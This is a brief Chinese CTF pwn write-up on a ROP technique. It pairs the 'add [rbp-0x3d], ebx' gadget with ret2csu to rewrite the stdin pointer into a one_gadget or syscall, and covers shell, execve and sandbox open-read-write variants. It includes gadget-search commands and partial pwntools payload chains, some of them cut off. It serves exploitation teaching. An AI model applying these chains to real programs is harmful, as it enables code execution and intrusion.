漏洞原理
ROPgadget –binary pwn | grep ‘add’
add dword ptr [rbp - 0x3d], ebx ; nop ; ret
穷途末路的时候用,将[rbp-0x3d]+rbx赋值给[rbp-0x3d],配合csu使用。效果甚佳
适用:只存在栈溢出,无打印函数
利用
利用过程
1.更改stdin为one_gadget或者syscall
2.call stdin
利用方法
计算偏移
找对应版本的libc,计算与stdin(bss头的libc地址)与one_gadget,syscall的偏移
0xffffffff对应-1
stdin偏移查找
- shift+F12后carl+F搜索stdin ,第一个_IO_2_1_stdin_

- X交叉引用,看data段

3.跟进,找到偏移

4.计算
0xffffffff对应-1,红色为stdin,蓝色为one_gadget/syscall,计算偏移


利用姿势
1.简单,改stdin为one_gadget,一般选择rsi,rdx等寄存器为空的,因为csu可以控制
1 | payload=overflow |
中级,没办法控制rax, 可以通过read控制,读入字节数=rax。找控制rax=0的gadget改stdin为syscall ret 调用read后控制rax=0x3b,获取shell。用的libc中的syscall_ret
ropper –file=/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6 –search “syscall”

1 | payload=b'a'*(0x14+8) |
高级,沙盒,类似的用法,通过read控制rax,控制程序执行orw,读取flag
1 | read=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x500)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 |

1 | from pwn import* |